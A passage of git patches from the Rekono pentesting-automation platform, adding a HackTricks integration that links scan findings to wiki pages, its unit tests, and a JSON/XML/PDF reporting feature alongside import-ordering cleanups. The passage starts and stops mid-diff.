return None # TOTEST + + def process_findings(self, execution: Execution, findings: List[Finding]) -> None: + super().process_findings(execution, findings) + for finding in findings: + hacktricks_link = None + if isinstance(finding, Host) and finding.os_type in self.host_type_mapping: + hacktricks_link = self.host_type_mapping[finding.os_type] + elif isinstance(finding, Port) and finding.service: + service_comparator = finding.service.lower().strip() + mapped_value = self._get_mapped_value_for_service(service_comparator) + if self.url in (mapped_value or ""): + hacktricks_link = mapped_value + elif mapped_value: # TOTEST + service_comparator = mapped_value + if not hacktricks_link: + for link in self.all_links: + if self.hacktricks_services_base_url not in link: + continue + comparator = link.replace( + self.hacktricks_services_base_url, "" + ).strip() + link_parts = comparator.split("-") + if "/" not in comparator and ( + service_comparator in link_parts + or ( + str(finding.port) in link_parts + and ( + len( + [ + p + for p in link_parts + if p.lower().strip() in service_comparator + or p.lower().strip() + in service_comparator.replace("-", "") + or service_comparator in p + ] + ) + > 0 + ) + ) + ): + hacktricks_link = link + break + elif isinstance(finding, Technology): + expected_url = ( + f"{self.hacktricks_pentesting_web_url}{finding.name.lower()}" + ) + if expected_url in self.all_links: + hacktricks_link = expected_url + if hacktricks_link: + finding.hacktricks_link = hacktricks_link + finding.save(update_fields=["hacktricks_link"]) diff --git a/src/backend/tests/platforms/test_hacktricks.py b/src/backend/tests/platforms/test_hacktricks.py new file mode 100644 index 000000000..1597abc0b --- /dev/null +++ b/src/backend/tests/platforms/test_hacktricks.py @@ -0,0 +1,65 @@ +from typing import Dict, List, Any, Optional +from findings.framework.models import Finding +from tests.framework import RekonoTest +from unittest import mock +from platforms.hacktricks import HackTricks + + +base_url = "https://book.hacktricks.xyz/" + + +def links(*args: Any, **kwargs: Any) -> List[str]: + return [ + f"{base_url}pentesting-web/web-vulnerabilities-methodology", + f"{base_url}network-services-pentesting/pentesting-web/wordpress", + f"{base_url}network-services-pentesting/pentesting-dns", + f"{base_url}network-services-pentesting/pentesting-ssh", + ] + + +class HackTricksTest(RekonoTest): + def setUp(self) -> None: + super().setUp() + self._setup_tasks_and_executions() + self._setup_findings(self.execution1) + + @mock.patch("platforms.hacktricks.HackTricks._get_all_hacktricks_links", links) + def _test_integration(self, expected: Dict[Finding, Optional[str]]) -> None: + client = HackTricks() + client.process_findings(self.execution1, expected.keys()) + for finding, expected_link in expected.items(): + self.assertEqual(expected_link, finding.hacktricks_link) + + def _get_expected(self) -> Dict[Finding, Optional[str]]: + return { + self.host: f"{base_url}linux-hardening/", + self.port: f"{base_url}pentesting-web/web-vulnerabilities-methodology", + self.technology: f"{base_url}network-services-pentesting/pentesting-web/wordpress", + self.vulnerability: None, + self.exploit: None, + } + + def test_integration_with_http_service(self) -> None: + self._test_integration(self._get_expected()) + + def test_integration_with_dns_service(self) -> None: + self.port.port = 53 + self.port.service = "domain" + self.port.save(update_fields=["port", "service"]) + self._test_integration( + { + **self._get_expected(), + self.port: f"{base_url}network-services-pentesting/pentesting-dns", + } + ) + + def test_integration_with_ssh_service(self) -> None: + self.port.port = 22 + self.port.service = "ssh" + self.port.save(update_fields=["port", "service"]) + self._test_integration( + { + **self._get_expected(), + self.port: f"{base_url}network-services-pentesting/pentesting-ssh", + } + ) diff --git a/src/backend/tests/test_integrations.py b/src/backend/tests/test_integrations.py index ae8cce0da..0288c56ff 100644 --- a/src/backend/tests/test_integrations.py +++ b/src/backend/tests/test_integrations.py @@ -12,7 +12,11 @@ class IntegrationTest(ApiTest): ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], "get", 200, - expected=[{"id": 2, "enabled": True}, {"id": 1, "enabled": True}], + expected=[ + {"id": 3, "enabled": True}, + {"id": 2, "enabled": True}, + {"id": 1, "enabled": True}, + ], ), ApiTestCase( ["auditor1", "auditor2", "reader1", "reader2"], @@ -32,7 +36,11 @@ class IntegrationTest(ApiTest): ["admin1", "admin2", "auditor1", "auditor2", "reader1", "reader2"], "get", 200, - expected=[{"id": 2, "enabled": True}, {"id": 1, "enabled": False}], + expected=[ + {"id": 3, "enabled": True}, + {"id": 2, "enabled": True}, + {"id": 1, "enabled": False}, + ], ), ] diff --git a/src/backend/tools/fixtures/5_inputs.json b/src/backend/tools/fixtures/5_inputs.json index ba57a9ac3..c0aba4b37 100644 --- a/src/backend/tools/fixtures/5_inputs.json +++ b/src/backend/tools/fixtures/5_inputs.json @@ -305,7 +305,7 @@ "fields": { "argument": 20, "type": 3, - "filter": "microsoft-ds", + "filter": "microsoft-ds or netbios-ssn", "order": 1 } }, @@ -325,7 +325,7 @@ "fields": { "argument": 21, "type": 3, - "filter": "microsoft-ds", + "filter": "microsoft-ds or netbios-ssn", "order": 1 } }, From 690cfcdccbe99ca7d0ea73b13b649a24f145dc3d Mon Sep 17 00:00:00 2001 From: Pablo Santiago <69458381+pablosnt@users.noreply.github.com> Date: Thu, 21 Mar 2024 08:03:01 +0100 Subject: [PATCH 130/141] Reporting feature to generate JSON, XML and PDF reports (#274) * Improve code style, and new reporting feature to generate JSON and XML reports * Fix code style and ignore false positives reported by Semgrep and Bandit * Fix mail template * Improve checks before sending notifications * Fix style errors * Fix style errors * Initial PDF report generation * Improve PDF template * Finish PDF template * Unit tests for reporting module * Fix code style * Fix code style * Ignore semgrep false positives in the PDF template * Ignore semgrep false positives in the PDF template * Improve unit tests coverage --- .github/workflows/unit-tests.yml | 2 +- CHANGELOG.md | 6 +- config.yaml | 2 + src/backend/api_tokens/admin.py | 3 +- src/backend/api_tokens/apps.py | 1 + src/backend/api_tokens/filters.py | 3 +- src/backend/api_tokens/models.py | 3 +- src/backend/api_tokens/serializers.py | 3 +- src/backend/api_tokens/urls.py | 3 +- src/backend/api_tokens/views.py | 15 +- src/backend/authentications/admin.py | 3 +- src/backend/authentications/apps.py | 1 + src/backend/authentications/filters.py | 3 +- src/backend/authentications/models.py | 3 +- src/backend/authentications/serializers.py | 3 +- src/backend/authentications/urls.py | 3 +- src/backend/authentications/views.py | 3 +- src/backend/executions/admin.py | 1 + src/backend/executions/apps.py | 1 + src/backend/executions/filters.py | 1 + src/backend/executions/models.py | 1 + src/backend/executions/queues.py | 5 +- src/backend/executions/serializers.py | 3 +- src/backend/executions/urls.py | 3 +- src/backend/executions/views.py | 19 +- src/backend/findings/admin.py | 1 + src/backend/findings/apps.py | 1 + src/backend/findings/filters.py | 1 + src/backend/findings/framework/filters.py | 2 - src/backend/findings/framework/models.py | 7 +- src/backend/findings/framework/serializers.py | 2 - src/backend/findings/framework/views.py | 11 +- src/backend/findings/models.py | 49 +- src/backend/findings/queues.py | 5 +- src/backend/findings/urls.py | 3 +- src/backend/findings/views.py | 9 +- src/backend/framework/models.py | 3 +- src/backend/framework/platforms.py | 24 +- src/backend/framework/queues.py | 5 +- src/backend/framework/serializers.py | 1 + src/backend/input_types/admin.py | 1 + src/backend/input_types/apps.py | 1 + src/backend/input_types/enums.py | 8 +- src/backend/input_types/models.py | 3 +- src/backend/input_types/serializers.py | 3 +- src/backend/integrations/admin.py | 1 + src/backend/integrations/apps.py | 1 + src/backend/integrations/filters.py | 3 +- src/backend/integrations/models.py | 1 + src/backend/integrations/serializers.py | 1 + src/backend/integrations/urls.py | 1 + src/backend/integrations/views.py | 9 +- src/backend/notes/admin.py | 1 + src/backend/notes/apps.py | 1 + src/backend/notes/filters.py | 5 +- src/backend/notes/models.py | 9 +- src/backend/notes/serializers.py | 6 +- src/backend/notes/urls.py | 1 + src/backend/notes/views.py | 26 +- src/backend/parameters/admin.py | 1 + src/backend/parameters/apps.py | 1 + src/backend/parameters/filters.py | 1 + src/backend/parameters/models.py | 1 + src/backend/parameters/serializers.py | 3 +- src/backend/parameters/urls.py | 3 +- src/backend/parameters/views.py | 3 +- src/backend/platforms/defect_dojo/admin.py | 1 + src/backend/platforms/defect_dojo/apps.py | 1 + .../platforms/defect_dojo/integrations.py | 5 +- src/backend/platforms/defect_dojo/models.py | 1 + .../platforms/defect_dojo/serializers.py | 17 +- src/backend/platforms/defect_dojo/urls.py | 3 +- src/backend/platforms/defect_dojo/views.py | 9 +- src/backend/platforms/hacktricks.py | 10 +- src/backend/platforms/mail/admin.py | 1 + src/backend/platforms/mail/apps.py | 1 + src/backend/platforms/mail/models.py | 1 + src/backend/platforms/mail/notifications.py | 59 +- src/backend/platforms/mail/serializers.py | 3 +- .../templates/execution_notification.html | 4 +- .../mail/templates/report_created.html | 32 + src/backend/platforms/mail/urls.py | 3 +- src/backend/platforms/mail/views.py | 3 +- src/backend/platforms/telegram_app/admin.py | 1 + src/backend/platforms/telegram_app/apps.py | 1 + src/backend/platforms/telegram_app/bot/bot.py | 7 +- .../platforms/telegram_app/bot/commands.py | 5 +- .../telegram_app/bot/conversations.py | 19 +- .../platforms/telegram_app/bot/framework.py | 7 +- .../bot/mixins/authentications.py | 5 +- .../telegram_app/bot/mixins/framework.py | 9 +- .../telegram_app/bot/mixins/parameters.py | 5 +- .../telegram_app/bot/mixins/process.py | 5 +- .../telegram_app/bot/mixins/projects.py | 5 +- .../telegram_app/bot/mixins/target_ports.py | 5 +- .../telegram_app/bot/mixins/targets.py | 5 +- .../telegram_app/bot/mixins/tasks.py | 5 +- .../telegram_app/bot/mixins/tools.py | 5 +- .../telegram_app/bot/mixins/wordlists.py | 5 +- .../platforms/telegram_app/framework.py | 3 +- .../management/commands/telegram_bot.py | 1 + src/backend/platforms/telegram_app/models.py | 1 + .../notifications/notifications.py | 32 +- .../platforms/telegram_app/serializers.py | 2 +- src/backend/platforms/telegram_app/urls.py | 3 +- src/backend/platforms/telegram_app/views.py | 3 +- src/backend/processes/admin.py | 1 + src/backend/processes/apps.py | 1 + src/backend/processes/filters.py | 1 + src/backend/processes/models.py | 3 +- src/backend/processes/serializers.py | 5 +- src/backend/processes/urls.py | 3 +- src/backend/processes/views.py | 3 +- src/backend/projects/admin.py | 1 + src/backend/projects/apps.py | 1 + src/backend/projects/filters.py | 1 + src/backend/projects/models.py | 3 +- src/backend/projects/serializers.py | 5 +- src/backend/projects/urls.py | 3 +- src/backend/projects/views.py | 9 +- src/backend/rekono/config.py | 17 +- src/backend/rekono/properties.py | 1 + src/backend/rekono/settings.py | 6 +- src/backend/rekono/urls.py | 3 +- src/backend/rekono/views.py | 11 +- src/backend/reporting/__init__.py | 0 src/backend/reporting/admin.py | 7 + src/backend/reporting/apps.py | 7 + src/backend/reporting/enums.py | 24 + src/backend/reporting/filters.py | 16 + src/backend/reporting/models.py | 36 ++ src/backend/reporting/serializers.py | 84 +++ .../reporting/templates/pdf-report.html | 608 ++++++++++++++++++ src/backend/reporting/urls.py | 9 + src/backend/reporting/views.py | 346 ++++++++++ src/backend/requirements.txt | 5 +- src/backend/security/apps.py | 1 + src/backend/security/authentication/api.py | 3 +- .../security/authentication/serializers.py | 3 +- src/backend/security/authentication/urls.py | 1 + src/backend/security/authentication/views.py | 1 + .../security/authorization/permissions.py | 8 +- src/backend/security/authorization/roles.py | 6 + src/backend/security/file_handler.py | 1 + .../management/commands/encryption_key.py | 3 +- .../commands/remove_encryption_key.py | 1 + .../commands/rotate_encryption_key.py | 1 + .../commands/setup_encryption_key.py | 1 + src/backend/security/middleware.py | 2 + .../security/validators/target_validator.py | 1 + src/backend/settings/admin.py | 1 + src/backend/settings/apps.py | 1 + src/backend/settings/models.py | 1 + src/backend/settings/serializers.py | 1 + src/backend/settings/urls.py | 1 + src/backend/settings/views.py | 3 +- src/backend/target_blacklist/admin.py | 1 + src/backend/target_blacklist/apps.py | 1 + src/backend/target_blacklist/filters.py | 1 + src/backend/target_blacklist/models.py | 1 + src/backend/target_blacklist/serializers.py | 1 + src/backend/target_blacklist/urls.py | 1 + src/backend/target_blacklist/views.py | 3 +- src/backend/target_ports/admin.py | 1 + src/backend/target_ports/apps.py | 1 + src/backend/target_ports/filters.py | 1 + src/backend/target_ports/models.py | 1 + src/backend/target_ports/serializers.py | 3 +- src/backend/target_ports/urls.py | 1 + src/backend/target_ports/views.py | 3 +- src/backend/targets/admin.py | 1 + src/backend/targets/apps.py | 1 + src/backend/targets/filters.py | 1 + src/backend/targets/models.py | 1 + src/backend/targets/serializers.py | 3 +- src/backend/targets/urls.py | 1 + src/backend/targets/views.py | 3 +- src/backend/tasks/admin.py | 1 + src/backend/tasks/apps.py | 1 + src/backend/tasks/filters.py | 1 + src/backend/tasks/models.py | 1 + src/backend/tasks/queues.py | 3 +- src/backend/tasks/serializers.py | 3 +- src/backend/tasks/urls.py | 1 + src/backend/tasks/views.py | 9 +- src/backend/tests/cases.py | 5 +- src/backend/tests/executors/test_base.py | 4 +- src/backend/tests/framework.py | 9 +- .../platforms/defect_dojo/test_entities.py | 2 +- .../tests/platforms/test_hacktricks.py | 8 +- src/backend/tests/test_findings.py | 4 +- src/backend/tests/test_integrations.py | 5 +- src/backend/tests/test_notes.py | 2 +- src/backend/tests/test_reporting.py | 361 +++++++++++ src/backend/tests/test_security.py | 1 + src/backend/tests/test_users.py | 12 +- src/backend/tools/admin.py | 1 + src/backend/tools/apps.py | 1 + src/backend/tools/executors/base.py | 5 +- src/backend/tools/executors/gitleaks.py | 2 +- src/backend/tools/filters.py | 1 + src/backend/tools/models.py | 1 + src/backend/tools/parsers/base.py | 1 + src/backend/tools/parsers/emailfinder.py | 1 + src/backend/tools/parsers/joomscan.py | 2 +- src/backend/tools/parsers/nmap.py | 3 +- src/backend/tools/parsers/ssh_audit.py | 1 + src/backend/tools/serializers.py | 3 +- src/backend/tools/urls.py | 1 + src/backend/tools/views.py | 3 +- src/backend/users/admin.py | 1 + src/backend/users/apps.py | 1 + src/backend/users/filters.py | 1 + src/backend/users/models.py | 7 +- src/backend/users/serializers.py | 3 +- src/backend/users/urls.py | 1 + src/backend/users/views.py | 3 +- src/backend/wordlists/admin.py | 1 + src/backend/wordlists/apps.py | 1 + src/backend/wordlists/models.py | 1 + src/backend/wordlists/serializers.py | 3 +- src/backend/wordlists/urls.py | 1 + src/backend/wordlists/views.py | 3 +- 223 files changed, 2088 insertions(+), 296 deletions(-) create mode 100644 src/backend/platforms/mail/templates/report_created.html create mode 100644 src/backend/reporting/__init__.py create mode 100644 src/backend/reporting/admin.py create mode 100644 src/backend/reporting/apps.py create mode 100644 src/backend/reporting/enums.py create mode 100644 src/backend/reporting/filters.py create mode 100644 src/backend/reporting/models.py create mode 100644 src/backend/reporting/serializers.py create mode 100644 src/backend/reporting/templates/pdf-report.html create mode 100644 src/backend/reporting/urls.py create mode 100644 src/backend/reporting/views.py create mode 100644 src/backend/tests/test_reporting.py diff --git a/.github/workflows/unit-tests.yml b/.github/workflows/unit-tests.yml index 1dc76e96f..ce10b3ea9 100644 --- a/.github/workflows/unit-tests.yml +++ b/.github/workflows/unit-tests.yml @@ -6,7 +6,7 @@ on: - 'src/backend/**' env: - REQUIRED_COVERAGE: 90 + REQUIRED_COVERAGE: 95 jobs: unit-tests: diff --git a/CHANGELOG.md b/CHANGELOG.md index 08c4091ec..f32f810e7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,18 +12,20 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), - Optimize, improve, clean and test source code (https://github.com/pablosnt/rekono/issues/222) - Remove tasks status (https://github.com/pablosnt/rekono/issues/222) - Remove steps priority (https://github.com/pablosnt/rekono/issues/222) -- Target ports path to limit executions to it (https://github.com/pablosnt/rekono/issues/222) +- Target ports path to limit executions scope (https://github.com/pablosnt/rekono/issues/222) - Skipped reason field for skipped executions (https://github.com/pablosnt/rekono/issues/222) - New executions group to aggregate those that can be executed at the same time (https://github.com/pablosnt/rekono/issues/222) - Keep tool versions updated from the system in the database (https://github.com/pablosnt/rekono/issues/222) +- Support for findings triaging (https://github.com/pablosnt/rekono/issues/222) - Configure Defect-Dojo product type at Rekono project level (https://github.com/pablosnt/rekono/issues/222) - Add Rekono project tags to Defect-Dojo products (https://github.com/pablosnt/rekono/issues/222) -- Download of original tool's reports (https://github.com/pablosnt/rekono/pull/264) +- Download original tool's reports (https://github.com/pablosnt/rekono/pull/264) - Configure custom proxies for executions (https://github.com/pablosnt/rekono/pull/265) - New endpoint to get status and stats about Redis queues (https://github.com/pablosnt/rekono/pull/266) - Pentesting notes that are sharable with other users and linkable with a project or a target (https://github.com/pablosnt/rekono/issues/267) - Ability to enable and disable integrations (https://github.com/pablosnt/rekono/issues/269) - HackTricks integration to link findings to interesing wiki resources (https://github.com/pablosnt/rekono/issues/271) +- Creation of reports in JSON, XML and PDF formats (https://github.com/pablosnt/rekono/issues/273) ### Security diff --git a/config.yaml b/config.yaml index ee3e984ad..fe50c323b 100644 --- a/config.yaml +++ b/config.yaml @@ -26,3 +26,5 @@ tools: directory: /opt/log4j-scan spring4shell-scan: directory: /opt/spring4shell-scan +reports: + pdf-template: null diff --git a/src/backend/api_tokens/admin.py b/src/backend/api_tokens/admin.py index baaf819ca..70f62fb44 100644 --- a/src/backend/api_tokens/admin.py +++ b/src/backend/api_tokens/admin.py @@ -1,6 +1,7 @@ -from api_tokens.models import ApiToken from django.contrib import admin +from api_tokens.models import ApiToken + # Register your models here. admin.site.register(ApiToken) diff --git a/src/backend/api_tokens/apps.py b/src/backend/api_tokens/apps.py index f49ef01cc..173fb446d 100644 --- a/src/backend/api_tokens/apps.py +++ b/src/backend/api_tokens/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/api_tokens/filters.py b/src/backend/api_tokens/filters.py index b61ffca82..2f9c22b47 100644 --- a/src/backend/api_tokens/filters.py +++ b/src/backend/api_tokens/filters.py @@ -1,6 +1,7 @@ -from api_tokens.models import ApiToken from django_filters.rest_framework import FilterSet +from api_tokens.models import ApiToken + class ApiTokenFilter(FilterSet): """FilterSet to filter Project entities.""" diff --git a/src/backend/api_tokens/models.py b/src/backend/api_tokens/models.py index 305c91333..16e03d8b7 100644 --- a/src/backend/api_tokens/models.py +++ b/src/backend/api_tokens/models.py @@ -1,7 +1,8 @@ from django.db import models +from rest_framework.authtoken.models import Token + from framework.models import BaseModel from rekono.settings import AUTH_USER_MODEL -from rest_framework.authtoken.models import Token from security.validators.input_validator import ( FutureDatetimeValidator, Regex, diff --git a/src/backend/api_tokens/serializers.py b/src/backend/api_tokens/serializers.py index 7a0f4474c..c1160ff74 100644 --- a/src/backend/api_tokens/serializers.py +++ b/src/backend/api_tokens/serializers.py @@ -1,7 +1,8 @@ from typing import Any -from api_tokens.models import ApiToken from rest_framework.serializers import ModelSerializer + +from api_tokens.models import ApiToken from security.cryptography.hashing import hash diff --git a/src/backend/api_tokens/urls.py b/src/backend/api_tokens/urls.py index 60640fa11..35e937ff4 100644 --- a/src/backend/api_tokens/urls.py +++ b/src/backend/api_tokens/urls.py @@ -1,6 +1,7 @@ -from api_tokens.views import ApiTokenViewSet from rest_framework.routers import SimpleRouter +from api_tokens.views import ApiTokenViewSet + router = SimpleRouter() router.register("api-tokens", ApiTokenViewSet) diff --git a/src/backend/api_tokens/views.py b/src/backend/api_tokens/views.py index 561b90f01..5fa71b8ac 100644 --- a/src/backend/api_tokens/views.py +++ b/src/backend/api_tokens/views.py @@ -1,10 +1,11 @@ +from django.db.models import QuerySet +from rest_framework.permissions import IsAuthenticated +from rest_framework.serializers import Serializer + from api_tokens.filters import ApiTokenFilter from api_tokens.models import ApiToken from api_tokens.serializers import ApiTokenSerializer, CreateApiTokenSerializer -from django.db.models import QuerySet from framework.views import BaseViewSet -from rest_framework.permissions import IsAuthenticated -from rest_framework.serializers import Serializer # Create your views here. @@ -27,6 +28,8 @@ def get_queryset(self) -> QuerySet: return super().get_queryset().filter(user=self.request.user).all() def get_serializer_class(self) -> Serializer: - if self.request.method == "POST": - return CreateApiTokenSerializer - return super().get_serializer_class() + return ( + CreateApiTokenSerializer + if self.request.method == "POST" + else super().get_serializer_class() + ) diff --git a/src/backend/authentications/admin.py b/src/backend/authentications/admin.py index 913ebd61b..33f7c57ad 100644 --- a/src/backend/authentications/admin.py +++ b/src/backend/authentications/admin.py @@ -1,6 +1,7 @@ -from authentications.models import Authentication from django.contrib import admin +from authentications.models import Authentication + # Register your models here. admin.site.register(Authentication) diff --git a/src/backend/authentications/apps.py b/src/backend/authentications/apps.py index e7c5989c4..328d80f1b 100644 --- a/src/backend/authentications/apps.py +++ b/src/backend/authentications/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/authentications/filters.py b/src/backend/authentications/filters.py index 29af78742..13845a0e7 100644 --- a/src/backend/authentications/filters.py +++ b/src/backend/authentications/filters.py @@ -1,6 +1,7 @@ -from authentications.models import Authentication from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet + +from authentications.models import Authentication from projects.models import Project from targets.models import Target diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index d7fec3d52..ec562bd4b 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -1,8 +1,9 @@ import base64 from typing import Any, Dict -from authentications.enums import AuthenticationType from django.db import models + +from authentications.enums import AuthenticationType from framework.enums import InputKeyword from framework.models import BaseEncrypted, BaseInput from security.validators.input_validator import Regex, Validator diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index 502772541..5dd565671 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -1,6 +1,7 @@ +from rest_framework.serializers import ModelSerializer + from authentications.models import Authentication from framework.fields import ProtectedSecretField -from rest_framework.serializers import ModelSerializer from security.validators.input_validator import Regex, Validator diff --git a/src/backend/authentications/urls.py b/src/backend/authentications/urls.py index 922dae1bc..9c237959e 100644 --- a/src/backend/authentications/urls.py +++ b/src/backend/authentications/urls.py @@ -1,6 +1,7 @@ -from authentications.views import AuthenticationViewSet from rest_framework.routers import SimpleRouter +from authentications.views import AuthenticationViewSet + router = SimpleRouter() router.register("authentications", AuthenticationViewSet) diff --git a/src/backend/authentications/views.py b/src/backend/authentications/views.py index 469afc45d..0a94dd1cb 100644 --- a/src/backend/authentications/views.py +++ b/src/backend/authentications/views.py @@ -1,8 +1,9 @@ +from rest_framework.permissions import IsAuthenticated + from authentications.filters import AuthenticationFilter from authentications.models import Authentication from authentications.serializers import AuthenticationSerializer from framework.views import BaseViewSet -from rest_framework.permissions import IsAuthenticated from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, diff --git a/src/backend/executions/admin.py b/src/backend/executions/admin.py index 065c91472..2d3111b92 100644 --- a/src/backend/executions/admin.py +++ b/src/backend/executions/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from executions.models import Execution # Register your models here. diff --git a/src/backend/executions/apps.py b/src/backend/executions/apps.py index 7223c4465..68dca4aa1 100644 --- a/src/backend/executions/apps.py +++ b/src/backend/executions/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/executions/filters.py b/src/backend/executions/filters.py index 18faf573f..3302c9cf8 100644 --- a/src/backend/executions/filters.py +++ b/src/backend/executions/filters.py @@ -1,5 +1,6 @@ from django_filters.filters import ChoiceFilter, ModelChoiceFilter from django_filters.rest_framework import FilterSet + from executions.models import Execution from processes.models import Process from projects.models import Project diff --git a/src/backend/executions/models.py b/src/backend/executions/models.py index 8df029009..5ecf7d8b1 100644 --- a/src/backend/executions/models.py +++ b/src/backend/executions/models.py @@ -1,4 +1,5 @@ from django.db import models + from executions.enums import Status from framework.models import BaseModel from tasks.models import Task diff --git a/src/backend/executions/queues.py b/src/backend/executions/queues.py index 2076168b9..42eb2604c 100644 --- a/src/backend/executions/queues.py +++ b/src/backend/executions/queues.py @@ -4,14 +4,15 @@ import rq from django.utils import timezone from django_rq import job +from rq.job import Job +from rq.registry import DeferredJobRegistry + from executions.models import Execution from findings.framework.models import Finding from findings.queues import FindingsQueue from framework.models import BaseInput from framework.queues import BaseQueue from parameters.models import InputTechnology, InputVulnerability -from rq.job import Job -from rq.registry import DeferredJobRegistry from target_ports.models import TargetPort from tools.executors.base import BaseExecutor from tools.parsers.base import BaseParser diff --git a/src/backend/executions/serializers.py b/src/backend/executions/serializers.py index 13a902208..3b7aa33c3 100644 --- a/src/backend/executions/serializers.py +++ b/src/backend/executions/serializers.py @@ -1,5 +1,6 @@ -from executions.models import Execution from rest_framework.serializers import ModelSerializer, SerializerMethodField + +from executions.models import Execution from tools.serializers import ConfigurationSerializer diff --git a/src/backend/executions/urls.py b/src/backend/executions/urls.py index eba2adec4..cd0ca1dd3 100644 --- a/src/backend/executions/urls.py +++ b/src/backend/executions/urls.py @@ -1,6 +1,7 @@ -from executions.views import ExecutionViewSet from rest_framework.routers import SimpleRouter +from executions.views import ExecutionViewSet + # Register your views here. router = SimpleRouter() diff --git a/src/backend/executions/views.py b/src/backend/executions/views.py index 2641f4f07..a4872cc49 100644 --- a/src/backend/executions/views.py +++ b/src/backend/executions/views.py @@ -1,21 +1,20 @@ +from django.http import FileResponse +from drf_spectacular.utils import OpenApiResponse, extend_schema from executions.enums import Status from executions.filters import ExecutionFilter from executions.models import Execution from executions.serializers import ExecutionSerializer from framework.views import BaseViewSet +from rekono.settings import CONFIG +from rest_framework.decorators import action from rest_framework.permissions import IsAuthenticated +from rest_framework.request import Request +from rest_framework.response import Response +from rest_framework.status import HTTP_200_OK, HTTP_400_BAD_REQUEST, HTTP_404_NOT_FOUND from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, ) -from drf_spectacular.utils import extend_schema, OpenApiResponse -from rest_framework.status import HTTP_404_NOT_FOUND, HTTP_400_BAD_REQUEST, HTTP_200_OK -from django.http import FileResponse -from rest_framework.decorators import action -from rest_framework.request import Request -from rest_framework.response import Response -from pathlib import Path -from rekono.settings import CONFIG # Create your views here. @@ -58,13 +57,13 @@ class ExecutionViewSet(BaseViewSet): }, ) @action(detail=True, methods=["GET"], url_path="report", url_name="report") - def download_report(self, request: Request, pk: str) -> Response: + def download_report(self, request: Request, pk: str) -> FileResponse: execution = self.get_object() if execution.status != Status.COMPLETED: return Response( {"execution": "Execution is not completed"}, status=HTTP_400_BAD_REQUEST ) - path = Path(CONFIG.reports) / (execution.output_file or "") + path = CONFIG.reports / (execution.output_file or "") if not execution.output_file or not path.is_file(): return Response(status=HTTP_404_NOT_FOUND) return FileResponse( diff --git a/src/backend/findings/admin.py b/src/backend/findings/admin.py index 53f4cdca3..be280d032 100644 --- a/src/backend/findings/admin.py +++ b/src/backend/findings/admin.py @@ -1,4 +1,5 @@ from django.contrib import admin + from findings.models import ( OSINT, Credential, diff --git a/src/backend/findings/apps.py b/src/backend/findings/apps.py index 71af2bf71..2a585ddc9 100644 --- a/src/backend/findings/apps.py +++ b/src/backend/findings/apps.py @@ -1,4 +1,5 @@ from django.apps import AppConfig + from framework.apps import BaseApp diff --git a/src/backend/findings/filters.py b/src/backend/findings/filters.py index 562083b27..00687c712 100644 --- a/src/backend/findings/filters.py +++ b/src/backend/findings/filters.py @@ -1,4 +1,5 @@ from django_filters.filters import ModelChoiceFilter + from findings.framework.filters import FindingFilter from findings.models import ( OSINT, diff --git a/src/backend/findings/framework/filters.py b/src/backend/findings/framework/filters.py index e9bca8bc1..566b57819 100644 --- a/src/backend/findings/framework/filters.py +++ b/src/backend/findings/framework/filters.py @@ -27,8 +27,6 @@ class Meta: model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten fields = { "executions": ["exact"], - "first_seen": ["gte", "lte", "exact"], - "last_seen": ["gte", "lte", "exact"], "triage_status": ["exact"], "triage_comment": ["exact", "icontains"], } diff --git a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py index ac7a521b2..7c6701883 100644 --- a/src/backend/findings/framework/models.py +++ b/src/backend/findings/framework/models.py @@ -12,13 +12,14 @@ class Finding(BaseInput): Execution, related_name="%(class)s", ) - first_seen = models.DateTimeField(auto_now_add=True) - last_seen = models.DateTimeField(auto_now=True) triage_status = models.TextField( max_length=15, choices=TriageStatus.choices, default=TriageStatus.UNTRIAGED ) triage_comment = models.TextField( - max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] + max_length=300, + validators=[Validator(Regex.TEXT.value, code="triage_comment")], + blank=True, + null=True, ) defect_dojo_id = models.IntegerField(blank=True, null=True) hacktricks_link = models.TextField(max_length=300, blank=True, null=True) diff --git a/src/backend/findings/framework/serializers.py b/src/backend/findings/framework/serializers.py index 6ba53f875..ffd96ba0f 100644 --- a/src/backend/findings/framework/serializers.py +++ b/src/backend/findings/framework/serializers.py @@ -8,8 +8,6 @@ class Meta: fields = ( "id", "executions", - "first_seen", - "last_seen", "triage_status", "triage_comment", "defect_dojo_id", diff --git a/src/backend/findings/framework/views.py b/src/backend/findings/framework/views.py index c98e43eba..4f509ce44 100644 --- a/src/backend/findings/framework/views.py +++ b/src/backend/findings/framework/views.py @@ -1,6 +1,7 @@ -from framework.views import BaseViewSet from rest_framework.permissions import IsAuthenticated from rest_framework.serializers import Serializer + +from framework.views import BaseViewSet from security.authorization.permissions import ( ProjectMemberPermission, RekonoModelPermission, @@ -20,6 +21,8 @@ class FindingViewSet(BaseViewSet): ] def get_serializer_class(self) -> Serializer: - if self.request.method == "PUT": - return self.triage_serializer_class - return super().get_serializer_class() + return ( + self.triage_serializer_class + if self.request.method == "PUT" + else super().get_serializer_class() + ) diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py index 6cd55d999..b97f3462b 100644 --- a/src/backend/findings/models.py +++ b/src/backend/findings/models.py @@ -1,6 +1,7 @@ from typing import Any, Dict from django.db import models +from django.utils import timezone from findings.enums import ( HostOS, OSINTDataType, @@ -43,9 +44,9 @@ def defect_dojo(self) -> Dict[str, Any]: "title": f"{self.data_type} found using OSINT techniques", "description": self.data, "severity": Severity.MEDIUM, - "date": self.last_seen.strftime( - 